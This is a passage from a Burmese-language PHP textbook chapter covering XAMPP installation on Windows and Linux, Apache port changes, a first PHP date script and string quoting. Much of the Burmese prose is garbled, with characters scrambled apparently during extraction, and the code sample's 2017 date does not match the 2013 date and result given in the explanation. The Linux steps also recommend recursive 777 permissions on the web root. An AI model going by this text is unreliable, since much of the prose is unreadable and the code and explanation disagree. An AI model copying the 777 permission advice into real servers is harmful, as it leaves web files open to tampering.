Installation ပပုလပုစ်ဉမ်ာှ  Windows UAC နဲ့  Firewall
တို့ကြ "အမနှတ်စ်ကြယ် Install ပပုလပုမ်ာှလား"၊ "Service
ိတကုိွြ  ခငွ့်ပပုမာှလား"  စသပဖေင့်  ိမးလာခဲ့ရေင်  Yes,  OK,
Allow စသပဖေင့် လိုအပသ်လို ခငွ့်ပပုိပးဖေိုကုိ့ြ မိမပ့ါနဲ။့

Installation  ပပးီသွားတဲ့အခါ  ပုံ  (၆-ဃ)  မာှ  ပပထားသလို
XAMPP Control Panel  အလိုအိလျှာက်ြ ပငွ့်လာပါလမိ့်
မယ်။  အလိုအိလျှာက်ြ  မပငွ့်ရေငလ်ညး်  Desktop  ိပါ်ကြ
XAMPP Control  Panel  Shortcut  (သုိမ့ဟတု်)  Start
Menu ထကဲြ XAMPP Control Panel ကုိြိရေးွပပီးဖေငွ့်လို့ရေ
ပါတယ်။  အ့ဲဒလီိုဖေငွ့်တဲ့အခါ  Shortcut  ိပါ်မာှ  Right-
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Click  ပပုလပုပ်ပးီ  "Run  as  administrator"  ကုိြ  ိရေးွပပးီ  ဖေငွ့်သင့်ပါတယ်။  ဒီိ တာမ့ှ  XAMPP  မာှပါဝငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြိတကုိွြ စီမတံဲ့အခါ  Administrator  မဟတုလ်ို့  မရေဘးူဆိုတဲ့ ပပဿနာမျို းကုိြ မအကြုံိတွ့ရေမာှ ပဖေစ်ပါ
တယ်။

ပုံ (၆-ဃ) XAMPP Windows - Control Panel

Apache Web Server  ကုိြစတငအ်လပုလ်ပု်ိ စဖေို့အတက်ွြ သက်ြဆုိငရ်ော  Start Button  ကုိြနှိပ်ိ ပးရေမာှပါ။  Apache
Server  စတငသွ်ားပပဆုိီရေင်  ပုံ  (၆-ဃ) မာှိတွ့ိနရေသလို  Process ID (PID)  နဲ့  Server  အလပုလ်ပု်ိ နတဲ့  Port
ိတကုိွြ  ိဖောပ်ပလာပါလမိ့်မယ်။  အလားတပူါပဲ  MySQL Database  Server  ကုိြ  စတငလ်ိုရေငလ်ညး်  သက်ြဆိုငရ်ော
Start Button  ကုိြ နှိပ်ိ ပးရေမာှပါ။  ပုံ  (၆-ဃ) မာှိတာ့  Apache  ိရော  MySQL  ပါ နစ်ှခလုုံးကိြု  စပပးီပဖေစ်လို့  Start
Button အစား Stop Button ကုိြ အစားထိုးိဖောပ်ပထားပါတယ်။ Windows ကုိြ Restart လပုလ်ိုက်ြလို့ ပပနတ်က်ြလာ
တဲ့အခါ  Start  Button  နှိပပ်ပးီ  Manual  Start  မလပုလ်ိုရေင်  ိရေှ့ ဆံုးကြ  Service  Button  ကုိြနှိပပ်ပီး  Apache  နဲ့
MySQL တို့ကုိြ Windows Service အပဖေစ် Register လပုထ်ားလို့ရေပါတယ်။

Apache  Web  Server  ကြ  Running  ပဖေစ်ိနပပဆုိီရေင်  နစ်ှသက်ြရော  Web  Browser  ကုိြဖေငွ့်ပပီး  URL  Bar  မာှ
http://localhost လ့ုိရုိက်ြထည့်ပပးီ  XAMPP Dashboard ကုိြ ဝင်ိ ရောက်ြနိုငပ်ါတယ။် ိနာက်ြတစ်မျက်ြနာှ  ပုံ  (၆-င)
မာှိဖောပ်ပထားသလိုရေလဒကုိ်ြ  ရေရေှိပပဆုိီရေင်ိ တာ့  XAMPP  ကုိြ  အဆင်ိ ပပိပပ Install  လုပပ်ပးီပဖေစ်သလို  Apache
Server လညး် စတငအ်လပုလ်ပု်ိ နပပဆုိီတဲ့ သိဘာပပဲဖေစ်ပါတယ်။ 

http://localhost/
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ပုံ (၆-င) XAMPP Dashboard

ဒလီိုရေလဒမ်ရေလဲ Browser မာှ Request Time Out ပပိနရေင်ိ တာ့ http://localhost စာလုံးိပါငး် မနှမ်မနှ် ပပနစ်စ်
ပါ။ စာလုံးိပါငး်မနှ်ိ ပမယ့် Request Time Out ပဲ ဆက်ြပဖေစ်ိနတယ် ဆုိရေင်ိ တာ့ Apache Web Server စတင်
နိုငပ်ခငး်မရေှတိဲ့ အတက်ွြပဖေစ်နိုငပ်ါတယ်။ တစ်ချို ့  Windows OS ိတမွာှ  IIS Web Server ကြ အသင့်ပါလာပပးီပဖေစ်
လို့  Apache Web Server ကုိြ ထပမ်ံ ထည့်သွငး်တဲ့ အခါ  Web Server နစ်ှခကုြ Port  တစ်ခတုညး်ကုိြ အသံုးပပုဖေို့
ကကိြုးစားိနတာိအကြာင့် အဆငမ်ိပပပဖေစ်တက်ြပါတယ်။ ိနာက်ြထပပ်ဖေစ်တက်ြတာကြိတာ့ Windows UAC နဲ့ Anti-
virus, Firewall စတဲ့ Program ိတကွြ Apache ကုိြ Block လုပထ်ားတာမျို း ပဖေစ်တက်ြပါတယ်။ Windows ကုိြ
Restart  လပုပ်ပးီ  Apache  ကုိြ  Start  ပပနလ်ပုအ်ကြည့်ပါ။  Windows  UAC  နဲ့  Anti-virus,  Firewall  ိတကွြ
Apache ကုိြ Block လပုမ်လား Allow လုပမ်လားိမးလာခဲ့ရေင် Allow လုပ်ိ ပးလိုက်ြပါ။ ဒလီို Allow လုပ်ိ ပးလို့
မ ှApache ကြ မစနိုင်ိ သးရေင်ိ တာ ့Apache ရေဲ့  Port Setting ကုိြ ိပပာငး်ဖေို့လိုအပန်ိငုပ်ါတယ်။

အခခုျနိထ်ိ Browser မာှ http://loc  a  lhost   လ့ုိ ရုိက်ြထည့်ပပးီ XAMPP Dashboard ကုိြ ဖေငွ့်လို့မရေိသးဘးူဆုိရေင် ပုံ
(၆-စ) ကုိြအကြည့်ပါ။ Apache အတက်ွြ Config Button ကုိြ နှိပပ်ပးီ Apache (httpd.conf) ကုိြ ဖေငွ့်ပါ။ 

http://localhost/
http://localhost/
http://localhost/
http://localhost/
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ပုံ (၆-စ) Opening Apache Config

Config  ဖေိုင်  ပငွ့်လာပပဆုိီရေင်  ပုံ  (၆-ဆ) မာှပပထားသလို  မလူတနဖ်ေိုး  Listen 80 အစား  Listen 90 နဲ့
အစားထိုးိပးပါ။ ပပးီတဲ့အခါ XAMPP Control Panel ကုိြ ပပနဖ်ေငွ့်ပပီး Apache ကုိြ Start လပုအ်ကြည့်ပါ။ ဒတီစ်ကကိြမ်
မာှိတာ ့Start ပပုလပုလ်ို့ ရေရေှိသွားသင့်ပပ ီပဖေစ်ပါတယ်။

ပုံ (၆-ဆ) Editing Apache Port Setting
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Apache ရေဲ့  Port Setting ကုိြ Default Value 80 အစား 90 နဲ့ အစားထိုးလိုက်ြပပပီဖေစ်လို့  XAMPP Dashboard
ကုိြ ဖေငွ့်ဖေို့အတက်ွြ Browser URL မာှ http://localhost:90 လ့ုိ ထည့်သွငး်ရေိတာမ့ာှ ပဖေစ်ပါတယ်။ ဒနီညး်နဲ့ Setting
ိပပာငး်ထားရေရေင် ိနာက်ြနမနူာိတမွာှ localhost ိတွ့တိုငး် localhost:90 နဲ့ အစားထိုး စမး်သပရ်ေိတာမ့ာှ
ပဖေစ်ပါတယ်။ 

Port Setting ိပပာငး်ထားိပမယ့် အဆငမ်ိပပိသးဘးူ ဆုိရေင်ိ တာ့ XAMPP ကုိြ Uninstall ပပုလပုပ်ပးီ အစကြိန
တစ်ိခါက်ြိလာက်ြ ပပန် Install လပုအ်ကြည့်သင့်ပါတယ်။ အ့ဲဒါမှ အဆငမ်ိပပိသးရေင်ိ တာ ့ကြျွမး်ကြျငသူ်ရေဲ့  အကူြအညီ
ကုိြ  ယူရေိတာမ့ာှပဲ  ပဖေစ်ပါတယ်။  စာိရေးသူကုိြ  Emial  (သုိ)့  ဖေနုး်နဲ့  တိုက်ြရုိက်ြဆက်ြသွယ်ပပီးိတာလ့ညး်  အကူြအညီ
ိတာငး်ခနံိုငပ်ါတယ်။  စာအုပရ်ေဲ့  ိနာက်ြဆံုးစာမျက်ြနာှပါ  စာိရေးသူအိအကြာငး်နဲ့  ဆက်ြသွယရ်ေန်  အချက်ြအလက်ြကုိြ
ထည့်သွငး်ိပးထားပါတယ်။

Install XAMPP on Linux
XAMPP ကုိြ Linux မာှ Install ပပုလပုလ်ိုသူိတအွိနနဲ့  Linux Installer ဖေိုငကုိ်ြရေယူ အသံုးပပုရေမာှ ပဖေစ်ပါတယ်။
Installer ဖေိုငရ်ေရေှိပပးီရေင် အ့ဲဒဖီေိုငကုိ်ြ Executable ပဖေစ်ိအာင်ိ ပပာငး်ိပးဖေို့လိုနိုငပ်ါတယ်။ အခလုို ိပပာငး်နိုငပ်ါတယ်။

$ sudo chmod 755 xampp-linux-*-installer.run

ပပးီတဲ့အခါ Install ပပုလပုပ်ခငး် စတငန်ိုငဖ်ေိုအ့တက်ွြ Installer ကုိြ အခလုို Run နိုငပ်ါတယ။်

$ sudo ./xampp-linux-*-installer.run

XAMPP Installer ကြ လိုအပတ်ဲ့ဖေိုင်ိ တကုိွြ /opt/lampp Directory ထမဲာှ ထည့်သွငး် Install လပု်ိ ပးသွားမာှ
ပဖေစ်ပါတယ်။ Install လုပပ်ပးီိနာက်ြ Apache, MySQL စတဲ့ Service ိတကုိွြ အခလုို Start ပပုလပုန်ိုငပ်ါတယ်။

$ sudo /opt/lampp/lampp start

Apache  နဲ့  MySQL  အပါအဝင်  XAMPP  မာှပါဝငတ်ဲ့  Service  အားလုံးကုိြစိပးသွားမာှပဖေစ်ပါတယ်။  start
အစား stop, restart တို့ကုိြလညး် လိုသလိုအစားထိုးအသံုးပပုနိုငပ်ါတယ်။ အသံုးပပုသူကြ Manual Start လပု်
ိနစရောမလိုပ ဲOS တက်ြတာနဲ့အလိုလိုစိပးိစချငရ်ေင ်-

/opt/lampp/lampp start

Command ကုိြ /etc/rc.local File ထဲမာှ ထည့်သွငး်ိပးထားနိုငပ်ါတယ်။ တစ်ချို ့  Linux ိတမွာှ ကဲွြပပားမှု
ရေှိနိုင်ိ ပမယ့် လူသံုးများတဲ့  Ubuntu, LinuxMint  အစရေှိတဲ့  OS  မာှိတာ့  rc.local ထမဲာှ ထည့်သွငး်ထားတဲ့
Command ိတကုိွြ OS စ အတက်ြမာှ အလိုအိလျှာက်ြ Run ိပးသွားမာှပါ။

http://localhost:90/
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Windows  မာှလိုမျို း  User  Interface  နဲ့  XAMPP  Control  Panel  ကုိြအသံုးပပုလိုရေင်ိ တာ့  /opt/lampp
Directory  ထဲမာှ  manager-linux.run ဆုိတဲ့ ပရုိဂရေမတ်စ်ခပုါဝငပ်ါတယ်။ ိအာက်ြပါအတိုငး် အသံုးပပုနိုငပ်ါ
တယ်။

$ cd /opt/lampp
$ sudo ./manager-linux.run

ိနာက်ြဆံုးတစ်ချက်ြအိနနဲ့  PHP  Script  ိတသိွမး်ဆညး်ရေမယ့်  htdocs Directory  ကုိြ  Write  Permission
သတမ်တှ် ိပးထားသင့်ပါတယ။် Permission သတမ်တှ်ိ ပးမထားရေင်  Super User မသှာ အ့ဲဒီ  Directory ထဲမာှ
PHP Script  ိတွိ ရေးပပးီသိမ်းလို့ရေမာှပါ။ အပမတဲမး်  Super User  အိနနဲ့ အလပုလ်ပု်ိ နရေရေင် အဆငမ်ိပပပါဘးူ။
ကြျွန်ိ တာတ်ို့  တငမ်ကြပါဘးူ  PHP  Script  ကြိနလညး်  တစ်ခါတစ်ရေံ  File  ိတကုိွြ  အ့ဲဒီ  Directory  ထမဲာှ
တည်ိ ဆာက်ြဖေို ့လိုတက်ြလို့  Full Write Permission ိပးဖေို့လိုပါတယ်။ အခလုို သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

$ sudo chmod -R 777 /opt/lampp/htdocs

6.6 - First PHP Script
XAMPP  ထည့်သွငး်ပပးီလို့  Apache Web Server  ကုိြလညး် စတငပ်ပးီပပီဆုိရေင်  Server-side PHP Script  ိတွ
ိရေးသားဖေို့ အသင့်ပဖေစ်ပါပပ။ီ စမး်သပအ်ကြည့်နိုငဖ်ေို့အတက်ွြ C:\xampp\htdocs\ ဆုိတဲ့ Folder ိအာက်ြမာှ hello
အမညန်ဲ့  Folder  တစ်ခတုည်ိ ဆာက်ြလိုက်ြပါ။  htdocs Folder  ဟာ  XAMPP Apache  ရေဲ့  Document Root
ပဖေစ်ပါတယ်။ Request တစ်ခဝုငလ်ာတိုငး် Apache Web Server ကြ Document ိတကုိွြ htdocs Folder ထမဲာှ
သွားရောှိအာင ်Setting လုပထ်ားပခငး်ပဖေစ်ပါတယ်။

Linux  မာှဆုိရေင်  Document  Root  ကြ  /opt/lampp/htdocs ပဖေစ်မာှပါ။  စာဖေတသူ်အများစုကြ  Windows
အသံုးပပုသူပဖေစ်နိုငလ်ို့ ိနာက်ြပိုငး်နမနူာိတမွာှ Windows ကုိြ ဦးတည်ိ ဖောပ်ပိပးသွားိတာမ့ာှပဖေစ်ပါတယ်။ hello
Folder ထဲမာှ world.php အမညန်ဲ့ File တစ်ခ၊ု css, img, js အမညကုိ်ြယ်စီနဲ့ Folder (၃) ခု ဆက်ြလက်ြ
တည်ိ ဆာက်ြလိုက်ြပါ။  ပပးီရေင်ိ တာ၊့  Web Browser  ရေဲ့  URL  http://localhost/hello/ လ့ုိ  ထည့်သွငး်  စမး်သပ်
အကြည့်ပါ။ ပုံ (၆-ဇ) မာှ ိဖောပ်ပထားသလို ိတွ့ ပမငရ်ေပါလမိ့်မယ်။ 

http://localhost/hello/
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ပုံ (၆-ဇ) Apache Directory Browsing

Browser  မာှလာိဖောပ်ပိနတာကြ  Web  Document  တစ်ခမုဟတုပ်ါဘးူ။  Index  of  /hello ဆုိတဲ့ိ ခါငး်စဉန်ဲ့
hello Folder ထဲမာှ ရေှိိ နတဲ့  File နဲ့  Folder စာရေငး်ပဖေစ်ပါတယ်။ ဒါကိြု  Directory Browsing လိုိ့ ခါ်ပါတယ်။
စမး်သပ်ိ နတဲ့ကွြနပ်ျူတာမာှမို့  ဒလီပု်ိ ဆာငခ်ျက်ြကုိြိပးထားတာပါ၊  အငတ်ာနက်ြိပါ်ကြ  Website  ိတမွာှိတာ့
လုံပခုံိရေးအရေ ဒလီို လပု်ိ ဆာငခ်ျက်ြမျို းကုိြ မိပးရေပါဘူး။

ဆက်ြလက်ြပပးီ world.php ထဲမာှ PHP Script ိတွိ ပါငး်စပပ်ါဝငတ်ဲ့ HTML တစ်ချို ့ထည့်သွငး်ိပးပါ။

<!doctype html> 
<html> 
<head> 
  <title>Hello, World!</title> 
</head> 
<body> 
  <h1>Hello, World!</h1> 
  <p>Today is: <?php echo date("d / m / Y") ?></p>
  <p> 
    <?php 
      $now = time(); 
      $newyear = strtotime('2017-04-13'); 

      $sec_left = $newyear - $now; 
      echo floor($sec_left / (60 * 60 * 24)); 
    ?> 
    days before Happy New Year. 
  </p> 
</body> 
</html> 
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PHP  Code  ိတကုိွြ  <?php အဖေငွ့်နဲ့  ?> အပတိအ်တငွး်မာှ  ထည့်သွငး်ိရေးသားိပးရေပါတယ်။  နမနူာမာှ  PHP
Code ိတကုိွြ နစ်ှိနရောိရေးသားထည့်သွငး်ထားပါတယ်။ ပထမတစ်ိနရောမာှ လက်ြရေှိရေက်ြစဲွကုိြ day / month / year
Format  နဲ့  ရုိက်ြထတု်ိ စပါတယ်။  ဒတုယိတစ်ိနရောမာှိတာ့  သကကြအင်္ဂန်ိ ရောက်ြဖေို့  ဘယ်နစ်ှရေက်ြလို  ိသးလဆုိဲတာကုိြ
တက်ွြပပးီ ိဖောပ်ပိပးခိုငး်ထားပါတယ်။ စာဖေတသူ် ဒစီာအုပဖ်ေတရ်ှုချနိ်ိ ပါ်မတူညပ်ပးီ  2017 အစားသင့်ိ တာတ်ဲ့ ခနုစ်ှနဲ့
အစားထိုးပပီးစမး်သပန်ိငုပ်ါတယ်။  အခုိ န Browser  URL  Bar  မာှ  http://localhost/hello/world.php ကုိြ
ထည့်သွငး်စမး်သပအ်ကြည့်ပါ။ ပုံ (၆-စျ) မာှ ိဖောပ်ပထားတဲ့ ရေလဒမ်ျို းရေရေှိိ နိစမာှပဖေစ်ပါတယ။် 

ပုံ (၆-စျ) world.php Result

အခုိ န Browser  ိနရောလတွမ်ာှ  Right-Click နှိပပ်ပးီ  View Page Source  ကုိြဖေငွ့်အကြည့်ရေင်  ပုံ  (၆-ည) မာှိဖောပ်ပ
ထား သလိုရေလဒကုိ်ြ ရေရေှိမာှပဖေစ်ပါတယ်။

ပုံ (၆-ည) world.php - View Page Source

http://localhost/hello/world.php
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Browser  ကြ အမနှတ်စ်ကြယ်လက်ြခရံေရေှိတဲ့  HTML Source  ထမဲာှ  PHP Code  ိတ ွပါဝငလ်ာပခငး်မရေှိတာကုိြ
သတပိပုပါ။  ထည့်သွငး်ိရေးသားထားတဲ့  PHP  Code  ိတဟွာ  Web  Server  ဘက်ြမာှ  အားလုံးအလပုလ်ပုခ်ဲ့ပပးီ
ရေလဒ် HTML ကုိြသာ Browser ထံ Web Server ကြ ိပးပိုလိုက်ြပခင်းပဖေစ်ပါတယ်။ ိရေးသားထားတဲ့ PHP Code
ိတကုိွြ ိလ့လာအကြည့်ချင ်ပါတယ်။ 

█ echo date("d / m / Y");

echo Keyword  ကုိြ  Output  တစ်ခခုရုိုကြထ်တု်ိ စလိုရေငအ်သံုးပပုနိုငပ်ါတယ်။  echo အစား  print ကုိြ သံုးရေင်
လညး် အတတူပူါပ။ဲ echo ကြ print ထက်ြ Performance အနညး်ငယ်ပိုိ ကြာငး်လို့ ကြျွန်ိ တာတ်ို့ နမနူာိတမွာှ
ိတာ့  echo ကုိြ  အသံုးပပုပပးီိတာပ့ဲိ ဖောပ်ပိပးသွားမာှပါ။  date() Function  ကုိြိတာ့  ရေက်ြစဲွနဲအ့ချနိ်ိ တစီွမဖံေို့
အသံုးပပုနိုငပ်ါ တယ်။  နမနူာ မာှ d / m / Y ဆုိတဲ့ Format ကုိြထည့်သွင်းိပးထားလို့ date() Function ကြ
လက်ြရေှိရေက်ြစဲွကုိြ 07 / 04 / 2013 ဆုိတဲ့ Format ပုံစံနဲ့ထတု်ိ ပးပခငး်ပဖေစ်ပါတယ။် date() Function ကြလက်ြခတံဲ့
Format Parameter အများအပပားရေှိတဲ့ထကဲြ မတှသ်ားထားသင့်တဲ့ Parameter အချို ့ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

d - ိနစဲွ့ကုိြဂဏန်းနဲ့ိ ဖောပ်ပပပးီ  လိုအပရ်ေင်ိ ရေှ့ကြသုညခပံပးီိဖောပ်ပိပးပါတယ် (01 မ ှ31 ထိ)။
m - လကုိြဂဏနး်နဲ့ိ ဖောပ်ပပပးီ လိုအပရ်ေင်ိ ရေှ့ကြသုညခပံပးီိဖောပ်ပိပးပါတယ်  (01 မ ှ12 ထိ)။ 
Y - ခနုစ်ှကုိြ ဂဏနး်ိလးလုံးနဲ့ိ ဖောပ်ပိပးပါတယ်  (ဥပမာ - 2013)။
D - ိနရ့ေက်ြကုိြ  စာလုံးသံုးလုံးနဲ့ိ ဖောပ်ပိပးပါတယ်   (Sun မ ှSat ထိ)။
M - လကုိြ စာလုံးသံုးလုံးနဲ့ိ ဖောပ်ပိပးပါတယ ် (Jan မ ှDec ထိ)။
y - ခနုစ်ှကုိြ ဂဏနး်နစှလ်ုံးနဲ့ ိဖောပ်ပိပးပါတယ်  (ဥပမာ - 13)။ 
H - နာရေကုိီြ နစ်ှဆယ့်ိလးနာရေပီုံစံနဲ့ လုိအပရ်ေင်ိ ရေှ့ကြသုညခပံပီး ိဖောပ်ပိပးပါတယ်  (00 မ ှ23 ထိ)။
i - မနိစ်ကုိြ လိုအပရ်ေင်ိ ရေှ့ကြသုညခပံပးီိဖောပ်ပိပးပါတယ်  (00 မ ှ59 ထိ)။
s - စကြ္ကန့ကုိ်ြ လိုအပရ်ေင ်ိရေှ့ကြသုညခပံပးီိဖောပ်ပိပးပါတယ်  (00 မ ှ59 ထိ)။

အသံုးပပုနိုငတ်ဲ့ Parameter အပပည့်အစံုကုိြိတာ ့php.net/manual/en/function.date.php မာှ ိလလ့ာနိုငပ်ါတယ်။

ကြျန်ိ နတဲ့  Code ိတကုိွြ ဆက်ြလက်ြိလလ့ာအကြည့်ပါမယ်။

█ $now = time(); 
█ $newyear = strtotime('2013-04-13'); 
█
█ $sec_left = $newyear - $now; 
█ echo floor($sec_left / (60 * 60 * 24)); 

နမနူာမာှ  $now ဟာ Variable တစ်ခပုဖေစ်ပါတယ်။ time() Function ကြိတာ့ လက်ြရေှိ အချနိ် ကုိြ Timestamp
နဲ့ ရေယူပခငး်ပဖေစ်ပါတယ်။  Timestamp ဆုိတာ 01 / 01 / 1970 ကြိန လက်ြရေှိအချနိထ်ိ ရေှိိ နတဲ့စကြ္ကန့်အိရေ အတက်ွြ
စုစု ိပါငး်ပဖေစ်ပါတယ်။  $now Variable ထမဲာှ လက်ြရေှိ Timestamp ိရောက်ြရေှိိ နပပပီဖေစ်ပါတယ်။ တစ်ိအကြာငး်ထက်ြ
ပိုတဲ့အခါ PHP Code ိတကုိွြ Semi-colon ( ; )  နဲ့ အဆံုးသတ်ိ ပးရေလို့ ိနာက်ြဆံုးမာှ  Semi-colon ထည့်သွငး်
ိပးထားတာပဖေစ် ပါတယ်။ 

http://php.net/manual/en/function.date.php
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မတ်ှချကြ် ။ ။ PHP  ရေဲ့ထူးပခားချကြအ်ိနနဲ့ စတငမ်တ်ှသားရေမာှကြိတာ၊့  Variable  ိတွကြို  PHP  မာှ  Dollar Sign  နဲ့ စိပးဖေို့
လုိအပ် ပခငး် ပဖေစပ်ါတယ။် တစပ်ခား  Language  ိတွမာှလုိပဲ  Variable  ိတွမာှ စာလံုးအကကြးီ အိသးိတွ၊ ကြနိး်ဂဏနး်ိတွကြို
နစှသ်ကြသ်လုိ ထည့်သငွး်အသုံး ပပုနိုငပ်ါတယ။် ဒါိပမယ့် Space နဲ့ + - @ # % အစရေှိတ့ဲ Special Character ိတွ ပါဝငလုိ့် မရေ
ပါဘးူ။ လုိအပရ်ေင် Underscore ကြိုထည့် သငွး်အသုံးပပုနိုငပ်ါတယ။် Dynamic Type ပဖေစတ့ဲ်အတွကြ် Variable ိတွကြို ကကြို တင်
ိအကြပငာဖေို့မလုိအပသ်လုိ၊  Data Type လညး် သတ်မတ်ှ ိပးဖေို့ မလုိအပပ်ါဘးူ။ထည့်သာွးိပးထားတ့ဲ တနဖ်ေိုးိပါ်မတူညပ်ပးီ PHP
ကြ  Data Type ကြို အလုိ အိလျှာကြ်ိ ပပာငး်လဲိပးသာွးမာှပဖေစပ်ါတယ။်

strtotime() Function  ကြိတာ့ ိပးလာတဲ့ရေက်ြစဲွကုိြ  Timestamp  ိပပာငး်ိပးပါတယ်။ နမနူာမာှ  2013-04-
13  ကုိြ  Timestamp  ိပပာငး်ပပးီ  $newyear ထဲကုိြထည့်သွငး်ဖေို့  သတမ်တှထ်ားပါတယ်။  ိနာက်ြတစ်ဆင့မ်ာှ
$newyear ထဲကြ  $now ကုိြနှုတလ်ိုက်ြတဲ့အတက်ွြ၊  ရေက်ြစဲွနစ်ှခရုေဲ့ ကွြားပခားချက်ြ  စကြ္ကန့စု်စုိပါငး်ကုိြရေရေှိပါတယ်။
ကြျွန်ိ တာတ်ို့လိုချငတ်ာကြ  စကြ္ကန့်မဟတုပ်ါဘးူ။  ရေက်ြအိရေအတက်ွြပဖေစ်ပါတယ်။  ဒါိအကြာင့်  စကြ္ကန့်ကြို  ရေက်ြပပနဖ်ေွဲ့တဲ့
အိနနဲ့  60  *  60  *  24  နဲ့  စား  ိပးလိုက်ြပါတယ်။  စားလဒက်ြ  ဒဿမကိြနး်ပဖေစမ်ာှမို့  ကိြနး်ပပည့်ပဖေစ်သွားိအာင်
floor() Function သံုးလိုက်ြတဲ့ အခါ သကကြအင်္ဂန်ိ ရောက်ြဖေို့ လိုတဲ့ရေက်ြအိရေအတက်ွြကုိြရေရေှိပပပီဖေစပ်ါတယ်။ ရေလာတဲ့ရေက်ြ
အိရေအတက်ွြကုိြ echo နဲ့ရုိကြထ်တု်ိ စလိုက်ြ တဲ့အတက်ွြ (နမနူာမာှ) ရေလဒပ်ဖေစ်တဲ့ 5 ကုိြ အ့ဲဒီိ နရောမာှပ ဲရုိက်ြထတု်ိ ပး
သွားပခငး်ပဖေစ်ပါတယ်။

PHP  ဟာ  ရုိးရေငှး်တဲ့  Imperative  Language  တစ်ခပုဖေစ်ပါတယ်။  Language  အိပခခံိ တပွဖေစ်တဲ့  Control
Structure ိတနွဲ့  Operator ိတဟွာ C, JavaScript  တို့နဲ့ဆငတ်ပူါတယ်။  Request  နဲ့အတပူါဝငလ်ာတဲ့ အချက်ြ
အလက်ြိတကုိွြ လက်ြခစီံမနံိုငမ်ှု တစ်ခသုာ  ထူးပခားချက်ြပဖေစ်ပါတယ်။  App  ိတတွည်ိ ဆာက်ြတယ်ဆုိတာ အိပခခံ
အားပဖေင့် PHP နဲ့ အတပူါဝငလ်ာတဲ့ Function များကုိြ လိုအပသ်လိုိ ပါင်းစပအ်သံုးချရေပခငး်သာ ပဖေစ်ပါတယ်။

PHP မာှ Build-in Function ိပါငး် ၅၀၀၀ ိကြျာပ်ါဝငပ်ါတယ်။ Version အလိုက်ြ အိရေအတက်ွြ ကွြာသွားနိုင်ိ ပ
မယ့် အိပခခံ  Function ိတရွေအဲလပုလ်ပုပ်ုံကြိတာ့ အိပပာငး်အလရဲေှိမာှမဟတုပ်ါဘူး။  php.net/quickref.php မာှ
PHP  Function  အားလုံးကုိြ  စုစညး်ိပးထားပါတယ်။  မတှသ်ားသင့်တဲ့  Function  ိတကုိွြ  နမနူာများနဲ့အတူ
ဆက်ြလက်ြ ိဖောပ်ပိပးသွားပါမယ်။ 

6.7 - PHP Strings
PHP မာှလညး် JavaScript  လုိပါပ။ဲ  String  ိတကုိွြ  Double Quote  အဖေငွ့်အပတိ်  (သုိမ့ဟတု်)  Single Quote
အဖေငွ့်အပတိန်ဲ့ ထည့်သွင်းိရေးသားိပးရေပါတယ်။ ရှုပ်ိ ထးွလတှဲ့ကိြစ္စမဟတု်ိ ပမယ့် ထည့်သွင်းလိုတဲ့စာထမဲာှ Quote
ိတပွါဝငလ်ာပပဆိီရုေင် မာှးတက်ြအကြပါတယ်။  Double Quote  နဲ့ထည့်သွငး် ထားတဲ့  String  ထမဲာှ  Single Quote
ိတပွါဝငတ်ာ  ပပဿနာမရေှိပါဘးူ။  အလားတပူဲ  Single  Quote  နဲ့ထည့်  သွငး်ထားတဲ့  String  ိတမွာှ  Double
Quote ိတပွါဝငတ်ာ လညး် ပပဿနာမရေှိပါဘူး။ ဒါိပမယ့် Single Quoted String ထဲမာှ Single Quote ိတပွါ
ဝငလ်ာရေင်ိ တာ့  သတထိား  ရေပါိတာမ့ယ်။  Double  Quoted  String  ထမဲာှ  Double  Quote  ိတပွါဝငလ်ာရေင်
လညး် သတထိားရေပါမယ်။  Single Quote ိတ ွDouble Quote ိတနွဲ့၊ ဖေတရ်ေတာနညး်နညး် ိခါင်းမးူသွားရေင်  ပုံ
(၆-ဋ) မာှိလလ့ာအကြည့်ပါ။ တစ်ကြယ် လက်ြိတွ့  အလပုလ်ပုတ်ဲ့အခါမာှလညး် အ့ဲဒီ  Quote ိတအွကြာင့်ပဲ အစပိုင်းမာှ
အမာှးများအကြတာပါ။

http://php.net/quickref.php
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 ပုံ (၆-ဋ) Usage of Double Quotes and Single Quotes

Single Quote နဲ့ Double Quote တို့မာှ ိနာက်ြထပကွ်ြာပခားချက်ြတစ်ခု ရေှိပါိသးတယ်။ Double Quoted String
ိတထွမဲာှ  Variable  ိတထွည့်သွငး်ိပးလိုက်ြရေင်  PHP  ကြ  Variable  ိတရွေဲ့တနဖ်ေိုးကုိြအသံုးပပုအလပုလ်ပု်ိ ပးပါ
တယ်။ ဒါိပ မယ့် Single Quoted String ိတမွာှိတာ့ Variable ထဲကြ တနဖ်ေိုးကုိြအသံုးပပုိပးပခငး်မရေှိပါဘူး။  ဒါ
ိအကြာင့်  တစ်ချို ့ကြ  Single Quoted String  ိတကုိွြ  Double Quoted String  ိတထွက်ြပိုပမနတ်ယ်လို့ ဆုိအကြပါ
တယ်။ Double Quoted String ိတကွြ Variable ိတပွါလာသလား စစ်ိဆးိနချနိမ်ာှ Single Quoted String
ကြ ဘာမစှစ်ိဆးမိနပဲ ိပးထားတဲ့စာအတိုငး် အလပုလ်ပု်ိ ပးတဲ့အတက်ွြ အလပုလ်ပုတ်ာ အနညး်ငယ်ပိုပမနသ်ာွးတဲ့
သိဘာပါ။ ပုံ (၆-ဌ) မာှ ိလ့လာအကြည့်ပါ။

ပုံ (၆-ဌ) Variable in Strings

ပုံ (၆-ဌ) နမနူာမာှ Double Quoted String ရေဲ့  Output ကြ "Hello John Doe, how are you doing?" ပဖေစ် ိပ
မယ့်  Single Quoted String  ရေဲ့  Output  ကြိတာ့  "Hello $name, how are you doing?"  လ့ုိ ပဖေစ်ိနတာကုိြ



Professional Web Developer - အခန်း (၆) PHP Basic 185

ိတွ့ရေမာှပဖေစ်ပါတယ်။  Single Quote  ကြ  $name ကုိြ  Variable  တစ်ခအုိနနဲ့အလပုမ်လပုပ်ဲ  ရုိးရုိးစာလုံးတစ်လုံး
အိနနဲ့သာ အလပုလ်ပုသွ်ားပခငး်ပဖေစ်ပါတယ်။

String ိတထွမဲာှ $, ", ' စတဲ့ Operator ိတကုိွြထည့်သွငး်အလပုမ်လပု်ိ စလိုရေင်  Backslash (\) နဲ့  Escape
လပု်ိ ပးနိုငပ်ါတယ်။ အသံုးဝငတ်ဲ့ Escape Character ိတကွြိတာ့ Single Quote ိတထွည့်သွငး် လိုရေင် အသံုးပပု
